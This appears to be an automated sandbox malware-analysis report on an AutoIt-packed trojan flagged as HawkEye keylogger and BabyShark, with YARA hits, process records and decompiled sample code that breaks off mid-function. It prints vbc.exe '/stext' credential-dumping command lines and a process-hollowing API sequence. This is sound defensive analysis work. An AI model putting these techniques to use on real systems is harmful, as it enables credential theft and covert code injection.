HawkEye Keylogger Reborn, Source: 00000001.00000002.514267996.0000000000402000.00000020.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_HawkEye, Description: Yara detected HawkEye Keylogger, Source: 00000001.00000002.514267996.0000000000402000.00000020.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000001.00000003.253770360.0000000004A43000.00000004.00000001.sdmp, Author: Joe Security Rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1, Description: Detects BabyShark KimJongRAT, Source: 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, Author: Florian Roth Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000001.00000002.518879964.00000000051D0000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000001.00000002.518219732.00000000033CE000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: vbc.exe PID: 4484 Parent PID: 5908

General

Start time:	14:15:56
Start date:	10/12/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /stext "C:\Users\user\AppData\Local\Temp\tmpBCAF.tmp
Imagebase:	0x400000
File size:	1171592 bytes
MD5 hash:	C63ED21D5706A527419C9FBD730FFB2E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000003.00000000.261547769.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000003.00000000.262035406.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000003.00000000.261098528.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000003.00000000.260466252.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_WebBrowserPassView, Description: Yara detected WebBrowserPassView password recovery tool, Source: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: vbc.exe PID: 5964 Parent PID: 5908

General

Start time:	14:17:02
Start date:	10/12/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\vbc.exe" /stext "C:\Users\user\AppData\Local\Temp\tmpBBC1.tmp
Imagebase:	0x400000
File size:	1171592 bytes
MD5 hash:	C63ED21D5706A527419C9FBD730FFB2E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1, Description: Detects BabyShark KimJongRAT, Source: 00000013.00000000.401565016.0000000000400000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000013.00000000.401565016.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1, Description: Detects BabyShark KimJongRAT, Source: 00000013.00000000.401266886.0000000000400000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000013.00000000.401266886.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1, Description: Detects BabyShark KimJongRAT, Source: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000013.00000002.403068621.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1, Description: Detects BabyShark KimJongRAT, Source: 00000013.00000000.401896100.0000000000400000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000013.00000000.401896100.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: APT_NK_BabyShark_KimJoingRAT_Apr19_1, Description: Detects BabyShark KimJongRAT, Source: 00000013.00000000.402276978.0000000000400000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_MailPassView, Description: Yara detected MailPassView, Source: 00000013.00000000.402276978.0000000000400000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: SecuriteInfo.com.Trojan.AutoIt.316.10986.exe PID: 4720 Parent PID: 6040 SecuriteInfo.com.Trojan.AutoIt.316.10986.exeCOMMON

Executed Functions

Function 00CF00BE, Relevance: 18.4, APIs: 12, Instructions: 393threadinjectionmemoryCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,?,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 00CF02E7
GetThreadContext.KERNELBASE(?,00010007), ref: 00CF02FC
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00CF031C
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 00CF034A
VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040), ref: 00CF0367
WriteProcessMemory.KERNELBASE(?,?,00000000,?,00000000), ref: 00CF049B
VirtualProtectEx.KERNELBASE(?,?,?,00000002,?), ref: 00CF04B5
VirtualProtectEx.KERNELBASE(?,?,?,00000001,?), ref: 00CF051C
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 00CF053E
WriteProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00CF055D
SetThreadContext.KERNELBASE(?,00010007), ref: 00CF057E
ResumeThread.KERNELBASE(?), ref: 00CF058C

Memory Dump Source

Source File: 00000000.00000003.253283699.0000000000CF0000.00000040.00000001.sdmp, Offset: 00CF0000, based on PE: false

Similarity

API ID: Virtual$Process$MemoryThread$AllocContextProtectWrite$CreateFreeReadResume
String ID:
API String ID: 12256240-0
Opcode ID: f12a0e3ec3a1dc5db5e035ccf4192a676492458e181c44b55a32febd4ba72111
Instruction ID: 3f81d66c8743dc0d832c07e39f9b12d2890fac2ba847744cc4ac1c3cc802f015
Opcode Fuzzy Hash: f12a0e3ec3a1dc5db5e035ccf4192a676492458e181c44b55a32febd4ba72111
Instruction Fuzzy Hash: 6BF136B1D002199FDB61CFA5CC44BAEFBB9FF48700F24446AEA55A7251D770AA84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00D04AFE, Relevance: 10.7, APIs: 7, Instructions: 223COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?,?,00000000), ref: 00D04B2B

Part of subcall function 00D07D2C: _memmove.LIBCMT ref: 00D07D66

GetCurrentProcess.KERNEL32(?,00D8FAEC,00000000,00000000,?,?,00000000), ref: 00D04BF8
IsWow64Process.KERNEL32(00000000,?,00000000), ref: 00D04BFF
GetNativeSystemInfo.KERNELBASE(00000000,?,00000000), ref: 00D04C45
FreeLibrary.KERNEL32(00000000,?,00000000), ref: 00D04C50
GetSystemInfo.KERNEL32(00000000,?,00000000), ref: 00D04C81
GetSystemInfo.KERNEL32(00000000,?,00000000), ref: 00D04C8D

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoSystem$Process$CurrentFreeLibraryNativeVersionWow64_memmove
String ID:
API String ID: 1986165174-0
Opcode ID: 5f2a617049775d09992de248b208035e0d453adc91039013360a2244f3b97dfe
Instruction ID: 355dff5c552fc60060e8d56234adb8d97945c1e67f72f4fe832155cfb3836899
Opcode Fuzzy Hash: 5f2a617049775d09992de248b208035e0d453adc91039013360a2244f3b97dfe
Instruction Fuzzy Hash: 3991C37194A7C0DEC731CB6894516AAFFE5AF29300F48499ED1CF93A81D230E948CB39

Uniqueness

Uniqueness Score: -1.00%

Function 00D0FE40, Relevance: 5.5, APIs: 3, Instructions: 1040COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: BuffCharUpper
String ID:
API String ID: 3964851224-0
Opcode ID: f99830fc72fd738ef3cecc613ae16c523b0e476d4f094b5657cc73952def0d99
Instruction ID: a91abaa54294b8a402f61b160920c3d6711ce83a66f7cd4cfa2c941d48fb969c
Opcode Fuzzy Hash: f99830fc72fd738ef3cecc613ae16c523b0e476d4f094b5657cc73952def0d99
Instruction Fuzzy Hash: 7B922B746083519FD720DF14D580B6ABBE1FF88304F18895DE88A9B352DB75EC85CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00D0E060, Relevance: 3.5, APIs: 2, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f55b7531c23d18a4001fc021e4d97f2d525636617b7b44b170465a7120df2234
Instruction ID: 2f73f9090be845b29937e0accd6536593bc1e26b6cfbebd24a09c1812d04bb50
Opcode Fuzzy Hash: f55b7531c23d18a4001fc021e4d97f2d525636617b7b44b170465a7120df2234
Instruction Fuzzy Hash: AD229074A00215DFDB24DF58C485BAEBBB0FF14300F188969E89A9B391D774E985CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D0E800, Relevance: 2.4, Strings: 1, Instructions: 1102COMMON

Download Yara Rule

Strings

Variable must be of type 'Object'., xrefs: 00D4428C

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: Variable must be of type 'Object'.
API String ID: 0-109567571
Opcode ID: fef353c4799dcb19b04ba38f564b6f7b5c16fff8cc64ce4390d5a7ada61c95a1
Instruction ID: 53b18f64a58fb1844d0505324d4abb65c57688bea805f4469d36369b63a76a4f
Opcode Fuzzy Hash: fef353c4799dcb19b04ba38f564b6f7b5c16fff8cc64ce4390d5a7ada61c95a1
Instruction Fuzzy Hash: 80A25B75A04216CBCB24CF58C480BADB7B1FF58310F288459E95AAB391D775ED82CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D10B30, Relevance: 57.3, APIs: 27, Strings: 5, Instructions: 1300
windowsleeptimeCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00D10B30(void* __ebx, void* __ecx, void* __fp0, signed int _a4) {
				struct tagMSG _v32;
				char _v48;
				char _v52;
				char _v56;
				char _v60;
				char _v68;
				char _v72;
				char _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v112;
				char _v120;
				char _v124;
				char _v128;
				int _v136;
				struct HWND__* _v140;
				struct HWND__* _v148;
				int _v152;
				struct HWND__* _v156;
				struct HWND__* _v164;
				signed int _v168;
				char _v172;
				char _v176;
				char _v180;
				int* _v192;
				struct tagMSG _v216;
				int _v224;
				intOrPtr _v228;
				int _v232;
				struct HWND__* _v236;
				signed int _v240;
				struct HWND__* _v244;
				struct HWND__* _v248;
				signed int _v256;
				char _v257;
				void* _v260;
				struct HWND__* _v264;
				intOrPtr _v268;
				int _v272;
				signed int _v276;
				char _v280;
				signed int _v284;
				signed int _v288;
				long _v292;
				void* _v296;
				long _v300;
				void* _v304;
				int _v312;
				void* _v316;
				struct HWND__* _v320;
				void* _v324;
				signed int _v328;
				signed int _v332;
				char _v333;
				intOrPtr _v336;
				void* _v340;
				signed int _v344;
				intOrPtr _v352;
				long _v356;
				struct HWND__* _v364;
				void* __edi;
				intOrPtr _t473;
				signed int _t475;
				intOrPtr _t476;
				void* _t477;
				intOrPtr _t478;
				void* _t484;
				void* _t490;
				signed int _t492;
				int _t494;
				long _t495;
				void* _t498;
				void* _t520;
				int _t536;
				short* _t541;
				int* _t542;
				void** _t543;
				void* _t549;
				intOrPtr _t577;
				void _t578;
				void* _t587;
				intOrPtr _t594;
				void _t595;
				int _t598;
				void* _t599;
				void* _t600;
				void* _t602;
				signed int _t608;
				int _t609;
				signed int _t613;
				intOrPtr _t619;
				signed int _t621;
				void* _t630;
				void* _t636;
				int _t644;
				intOrPtr _t647;
				intOrPtr _t648;
				intOrPtr _t649;
				intOrPtr _t650;
				intOrPtr _t652;
				signed int _t655;
				intOrPtr* _t656;
				intOrPtr _t658;
				intOrPtr _t659;
				int _t674;
				signed int _t675;
				void* _t689;
				int _t690;
				long _t691;
				void* _t703;
				void* _t704;
				long _t707;
				short _t708;
				void* _t709;
				void* _t712;
				void* _t733;
				void* _t740;
				void* _t741;
				void* _t747;
				signed int _t764;
				void* _t769;
				signed int _t778;
				void* _t795;
				signed int _t798;
				void* _t799;
				void* _t802;
				intOrPtr _t805;
				void* _t806;
				signed int _t838;
				void* _t839;
				void* _t843;
				void* _t846;
				long _t848;
				void* _t849;
				intOrPtr _t850;
				intOrPtr _t851;
				long _t852;
				signed int _t857;
				void* _t863;
				signed int _t864;
				void* _t866;
				intOrPtr* _t867;
				void* _t868;
				int* _t869;
				void* _t870;
				signed int _t873;
				signed int _t874;
				signed int _t876;
				signed int _t877;
				intOrPtr* _t879;
				intOrPtr _t881;
				signed int _t882;
				void* _t884;
				void* _t921;

				_t931 = __fp0;
				_t747 = __ebx;
				_t884 = (_t882 & 0xfffffff8) - 0x160;
				_t846 = __ecx;
				_v296 = __ecx;
				_t473 =  *((intOrPtr*)(__ecx + 0xec));
				if(_t473 >= 0xed8) {
					 *0xdc6280 = 0;
					_t475 = E00D6A0B5(__ecx, __fp0, 0x9a, 0xffffffff) | 0xffffffff;
					L56:
					return _t475;
				}
				_t476 = _t473 + 1;
				 *((intOrPtr*)(__ecx + 0xec)) = _t476;
				if(_t476 == 1) {
					L90:
					_t477 =  *(__ecx + 0x11c);
					_v300 = _t477;
					while(1) {
						__eflags = _t477;
						if(__eflags == 0) {
							goto L2;
						}
						_t741 = E00D09FBD(_t846,  *_t477);
						__eflags = _t741;
						if(_t741 != 0) {
							__eflags =  *((intOrPtr*)(_t741 + 0x10)) + 1;
							E00D568BF(_t846, _t837, _t931,  *((intOrPtr*)(_t741 + 0x10)) + 1, 1);
						}
						_t752 =  &_v300;
						E00D56CEA(_t752,  &_v292);
						_t477 = _v304;
					}
				}
				L2:
				 *((char*)(_t846 + 0x144)) = 0;
				if( *((char*)(_t846 + 0xfc)) != 0) {
					L53:
					_t478 =  *((intOrPtr*)(_t846 + 0xec));
					 *((char*)(_t846 + 0x144)) = 0;
					if(_t478 == 1) {
						E00D111D0(_t846);
						__eflags =  *((char*)(_t846 + 0xfc)) - 1;
						if(__eflags == 0) {
							L55:
							_t475 = 0;
							goto L56;
						}
						E00D111F3(_t846, _t837, __eflags, _t931);
						LockWindowUpdate(0);
						DestroyWindow( *0xdc62ac); // executed
						_t484 = GetMessageW( &_v32, 0, 0, 0);
						__eflags = _t484;
						if(_t484 <= 0) {
							goto L55;
						}
						do {
							TranslateMessage( &_v32);
							DispatchMessageW( &_v32);
							_t490 = GetMessageW( &_v32, 0, 0, 0);
							__eflags = _t490;
						} while (_t490 > 0);
						goto L55;
					}
					 *((intOrPtr*)(_t846 + 0xec)) = _t478 - 1;
					goto L55;
				} else {
					while(1) {
						_t837 = 2;
						if( *((char*)(_t846 + 0x144)) != 0) {
							goto L53;
						}
						if( *0xdc6281 != 0) {
							__eflags =  *((char*)(_t846 + 0x145));
							if(__eflags == 0) {
								L11:
								if( *0xdc74a8 != 0) {
									_t492 =  *0xdc74ac; // 0x0
									_t857 =  *(_t492 + 4);
									_v356 =  *_t492;
									L00D2106C(_t492);
									 *0xdc74a8 =  *0xdc74a8 - 1;
									_t884 = _t884 + 4;
									 *0xdc74ac = _t857;
									asm("sbb esi, esi");
									_t752 = 0;
									 *0xdc74b0 =  *0xdc74b0 &  ~_t857;
									_t837 =  *(_t846 + 0x1c8);
									_v340 = 0;
									__eflags = _t837;
									if(_t837 == 0) {
										L125:
										__eflags = _t752 - _t837;
										if(__eflags == 0) {
											_t837 = 2;
											goto L12;
										}
										_t733 = E00D09FBD(_t846,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t846 + 0x1c4)) + _t752 * 4)))) + 8);
										E00D081A7(_t846 + 0x14c,  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t846 + 0x1c4)) + _v344 * 4)))) + 0x18);
										_t752 = _t846;
										E00D0B89C(_t752, _t837, _t931,  *((intOrPtr*)(_t733 + 0x10)) + 1, 1, 0);
										L51:
										L52:
										if( *((char*)(_t846 + 0xfc)) == 0) {
											continue;
										}
										goto L53;
									}
									_t881 =  *((intOrPtr*)(_t846 + 0x1c4));
									_t852 = _v356;
									do {
										_t740 =  *( *(_t881 + _t752 * 4));
										__eflags = _t740;
										if(_t740 == 0) {
											goto L123;
										}
										__eflags =  *_t740 - _t852;
										if( *_t740 == _t852) {
											break;
										}
										L123:
										_t752 = _t752 + 1;
										__eflags = _t752 - _t837;
									} while (_t752 < _t837);
									_t846 = _v296;
									_v340 = _t752;
									goto L125;
								}
								L12:
								if( *0xdc6287 == 1) {
									__eflags =  *0xdc6281;
									if(__eflags != 0) {
										goto L13;
									}
									Sleep(0xa);
									goto L52;
								}
								L13:
								if( *((intOrPtr*)(_t846 + 0x454)) == 0 ||  *0xdc741c != 0) {
									L22:
									if( *0xdc67bc == 0 ||  *((char*)(_t846 + 0x458)) == 1) {
										L32:
										if( *((intOrPtr*)(_t846 + 0x184)) != 0) {
											__eflags =  *((char*)(_t846 + 0x484)) - 1;
											if(__eflags == 0) {
												goto L33;
											}
											 *((char*)(_t846 + 0x484)) = 1;
											_v264 = 0;
											_v180 = 0xd8fb84;
											_v344 = 0;
											_v176 = 0;
											_v172 = 0;
											_v168 = 0;
											E00D69C9F( &_v128, _t846,  *((intOrPtr*)(_t846 + 0x188)));
											E00D5D9E3(_t846 + 0x184);
											_t871 = _v128;
											_v232 = 0;
											E00D09997(E00D09AC0(_t747,  &_v240,  *_v128), _t747,  *((intOrPtr*)(_t871 + 4)));
											_t837 = E00D09FBD(_t846,  *((intOrPtr*)( *((intOrPtr*)(_t871 + 4)) + 8)));
											_v344 = _t837;
											_t764 =  *(_t837 + 0x10);
											_t520 = E00D071C8(_t764);
											 *(_t846 + 0xf4) = _t764;
											_t873 = 3;
											__eflags =  *(_t837 + 0x14);
											_v320 = _t520;
											if( *(_t837 + 0x14) <= 0) {
												L174:
												E00D08561(_t837,  *(_t837 + 0x10));
												_t874 = 3;
												_v292 = 3;
												_v344 = 1;
												__eflags =  *((intOrPtr*)(_v336 + 0x14)) - 1;
												if(__eflags < 0) {
													L215:
													E00D07F41(_t747,  &_v48, __eflags, L"@COM_EVENTOBJ");
													__eflags = _v228 - 6;
													E00D08620(_t846,  &_v52, (0 | _v228 != 0x00000006) - 0x00000001 & _v240, 0, 1);
													E00D05A64( &_v68);
													E00D0B89C(_t846, _t837, _t931,  *((intOrPtr*)(_v352 + 0x10)) + 1, 0, 0);
													E00D0843F(_t747, 0xdc7280);
													_t769 = _v260;
													__eflags = _t769;
													if(_t769 != 0) {
														E00D07B3D(_t769, _t769);
														_v232 = 0;
													}
													_t536 = _v224;
													__eflags = _t536 - 5;
													if(__eflags < 0) {
														L253:
														_v224 = 1;
														_v236 = 0;
														E00D566F4( &_v128);
														_t752 =  &_v180;
														E00D566F4(_t752);
														 *((char*)(_t846 + 0x484)) = 0;
														goto L51;
													} else {
														_t608 = _t536 + 0xfffffffb;
														__eflags = _t608 - 0xa;
														if(__eflags > 0) {
															goto L253;
														}
														switch( *((intOrPtr*)(_t608 * 4 +  &M00D460E5))) {
															case 0:
																__eflags = __esi;
																if(__eflags != 0) {
																	__ecx = __esi;
																	__eax = E00D08E34(__ecx, __edi, __eflags, __ecx);
																}
																goto L253;
															case 1:
																goto L253;
															case 2:
																__eflags = __esi;
																if(__eflags == 0) {
																	goto L253;
																}
																_push(__esi);
																__imp__#9();
																goto L252;
															case 3:
																__eflags = __esi;
																if(__eflags == 0) {
																	goto L253;
																}
																__ecx = __esi + 8;
																goto L251;
															case 4:
																__eax = L00D2106C( *((intOrPtr*)(__esi + 4)));
																goto L252;
															case 5:
																__eflags = __esi;
																if(__eflags != 0) {
																	__ecx = __esi;
																	__eax = E00D573F0(__ecx, __ecx);
																}
																goto L253;
															case 6:
																__eflags = __esi;
																if(__eflags == 0) {
																	goto L253;
																}
																__ecx = __esi;
																L251:
																__eax = E00D05A64(__ecx);
																L252:
																__eax = L00D2106C(__esi);
																goto L253;
															case 7:
																__eflags = __esi;
																if(__eflags != 0) {
																	__ecx = __esi;
																	__eax = E00D57405(__ebx, __ecx, __edi, __ecx);
																}
																goto L253;
														}
													}
												} else {
													goto L175;
												}
												do {
													L175:
													_t838 = 0;
													_v256 = 0;
													_t798 =  *(_v304 + 4);
													_v356 = _t798;
													_t619 =  *((intOrPtr*)(_t798 + _t874 * 4));
													__eflags =  *(_t619 + 8);
													if( *(_t619 + 8) != 0) {
														L182:
														_t848 = _v356;
														_t839 = 4 + _t874 * 4;
														_v328 = 1;
														_t799 = 0;
														__eflags = 0;
														_t876 = _v328;
														while(1) {
															_t621 =  *( *((intOrPtr*)(_t839 + _t848)) + 8) & 0x0000ffff;
															__eflags = _t621 - 0x47;
															if(_t621 != 0x47) {
																goto L185;
															}
															L184:
															_t799 = _t799 + 1;
															L196:
															_t876 = _t876 + 1;
															_t839 = _t839 + 4;
															_t621 =  *( *((intOrPtr*)(_t839 + _t848)) + 8) & 0x0000ffff;
															__eflags = _t621 - 0x47;
															if(_t621 != 0x47) {
																goto L185;
															}
															goto L184;
															L185:
															__eflags = _t621 - 0x48;
															if(_t621 != 0x48) {
																__eflags = _t621 - 0x40;
																if(_t621 != 0x40) {
																	goto L196;
																}
																__eflags = _t799;
																if(_t799 == 0) {
																	L187:
																	_t846 = _v296;
																	_t837 = _v256;
																	_v328 = _t876;
																	_t876 = _v288;
																	__eflags = _v340 - _v264;
																	if(_v340 <= _v264) {
																		__eflags = _t837;
																		E00D08620(_t846,  *((intOrPtr*)( *((intOrPtr*)(_v356 + _t876 * 4)))),  *_v344, _t837, 1);
																		goto L214;
																	}
																	_v324 = 0;
																	_v356 = _t876 + 2;
																	_v316 = 0;
																	_v312 = 1;
																	_t636 = E00D0A000(_t747, _t846, _t931, _v304,  &_v356,  &_v324, _v328 + _t876);
																	__eflags = _t636;
																	if(_t636 < 0) {
																		_t795 = _v316;
																		__eflags = _t795;
																		if(_t795 != 0) {
																			E00D07B3D(_t795, _t795);
																			_v320 = 0;
																		}
																		_t609 = _v312;
																		__eflags = _t609 - 5;
																		if(_t609 < 5) {
																			L171:
																			_v312 = 1;
																			_v324 = 0;
																			L172:
																			E00D09DF0(_t747,  &_v236);
																			E00D566F4( &_v128);
																			_t752 =  &_v180;
																			E00D566F4(_t752);
																			 *((char*)(_t846 + 0x484)) = 0;
																			goto L33;
																		} else {
																			_t613 = _t609 + 0xfffffffb;
																			__eflags = _t613 - 0xa;
																			if(_t613 > 0xa) {
																				goto L171;
																			}
																			switch( *((intOrPtr*)(_t613 * 4 +  &M00D46111))) {
																				case 0:
																					__ecx = _v324;
																					__eflags = __ecx;
																					if(__eflags != 0) {
																						__eax = E00D08E34(__ecx, __edi, __eflags, __ecx);
																					}
																					goto L171;
																				case 1:
																					goto L171;
																				case 2:
																					_t614 = _v324;
																					__eflags = _t614;
																					if(_t614 == 0) {
																						goto L171;
																					}
																					_push(_t614);
																					__imp__#9();
																					_push(_v328);
																					goto L170;
																				case 3:
																					__esi = _v324;
																					__eflags = __esi;
																					if(__esi == 0) {
																						goto L171;
																					}
																					_t353 = __esi + 8; // 0x8
																					__ecx = _t353;
																					goto L169;
																				case 4:
																					_v324 = L00D2106C( *((intOrPtr*)(_v324 + 4)));
																					_push(_v324);
																					goto L170;
																				case 5:
																					__ecx = _v324;
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = E00D573F0(__ecx, __ecx);
																					}
																					goto L171;
																				case 6:
																					__esi = _v324;
																					__eflags = __esi;
																					if(__esi == 0) {
																						goto L171;
																					}
																					__ecx = __esi;
																					L169:
																					__eax = E00D05A64(__ecx);
																					_push(__esi);
																					L170:
																					L00D2106C();
																					_t884 = _t884 + 4;
																					goto L171;
																				case 7:
																					__ecx = _v324;
																					__eflags = __ecx;
																					if(__ecx != 0) {
																						__eax = E00D57405(__ebx, __ecx, __edi, __ecx);
																					}
																					goto L171;
																			}
																		}
																	}
																	E00D08620(_t846,  *((intOrPtr*)( *((intOrPtr*)( *(_v304 + 4) + _t876 * 4)))),  &_v324, _v256 | 0x00000200, 1);
																	_t799 = _v332;
																	__eflags = _t799;
																	if(_t799 != 0) {
																		E00D07B3D(_t799, _t799);
																		_v320 = 0;
																	}
																	_t644 = _v312;
																	__eflags = _t644 - 5;
																	if(_t644 < 5) {
																		L212:
																		_v312 = 1;
																		_v324 = 0;
																		goto L214;
																	} else {
																		_t621 = _t644 + 0xfffffffb;
																		__eflags = _t621 - 0xa;
																		if(_t621 > 0xa) {
																			goto L212;
																		}
																		switch( *((intOrPtr*)(_t621 * 4 +  &M00D460B9))) {
																			case 0:
																				__ecx = _v324;
																				__eflags = __ecx;
																				if(__eflags != 0) {
																					__eax = E00D08E34(__ecx, __edi, __eflags, __ecx);
																				}
																				goto L212;
																			case 1:
																				goto L212;
																			case 2:
																				__eax = _v324;
																				__eflags = __eax;
																				if(__eax == 0) {
																					goto L212;
																				}
																				_push(__eax);
																				__imp__#9();
																				_push(_v328);
																				goto L211;
																			case 3:
																				__eax = _v324;
																				_v356 = __eax;
																				__eflags = __eax;
																				if(__eax == 0) {
																					goto L212;
																				}
																				_t307 = __eax + 8; // 0x8
																				__ecx = _t307;
																				goto L210;
																			case 4:
																				_v324 = L00D2106C( *((intOrPtr*)(_v324 + 4)));
																				_push(_v324);
																				goto L211;
																			case 5:
																				__ecx = _v324;
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = E00D573F0(__ecx, __ecx);
																				}
																				goto L212;
																			case 6:
																				__eax = _v324;
																				_v356 = __eax;
																				__eflags = __eax;
																				if(__eax == 0) {
																					goto L212;
																				}
																				__ecx = __eax;
																				L210:
																				__eax = E00D05A64(__ecx);
																				_push(_v356);
																				L211:
																				__eax = L00D2106C();
																				__esp = __esp + 4;
																				goto L212;
																			case 7:
																				__ecx = _v324;
																				__eflags = __ecx;
																				if(__ecx != 0) {
																					__eax = E00D57405(__ebx, __ecx, __edi, __ecx);
																				}
																				goto L212;
																		}
																	}
																}
																goto L196;
															}
															_t799 = _t799 - 1;
															__eflags = _t799;
															if(_t799 >= 0) {
																goto L196;
															}
															goto L187;
														}
													} else {
														goto L176;
													}
													do {
														L176:
														_t647 =  *((intOrPtr*)( *((intOrPtr*)(_t798 + _t874 * 4))));
														__eflags = _t647 - 0x24;
														if(_t647 == 0x24) {
															L179:
															_t874 = _t874 + 1;
															__eflags = _t874;
															goto L180;
														}
														__eflags = _t647 - 0x1e;
														if(_t647 != 0x1e) {
															goto L180;
														}
														_t838 = 0x100;
														goto L179;
														L180:
														_t648 =  *((intOrPtr*)(_t798 + _t874 * 4));
														__eflags =  *((short*)(_t648 + 8));
													} while ( *((short*)(_t648 + 8)) == 0);
													_v256 = _t838;
													_v288 = _t874;
													goto L182;
													L214:
													_v344 = _v344 + 4;
													_t874 = _t876 + _v328 + 1;
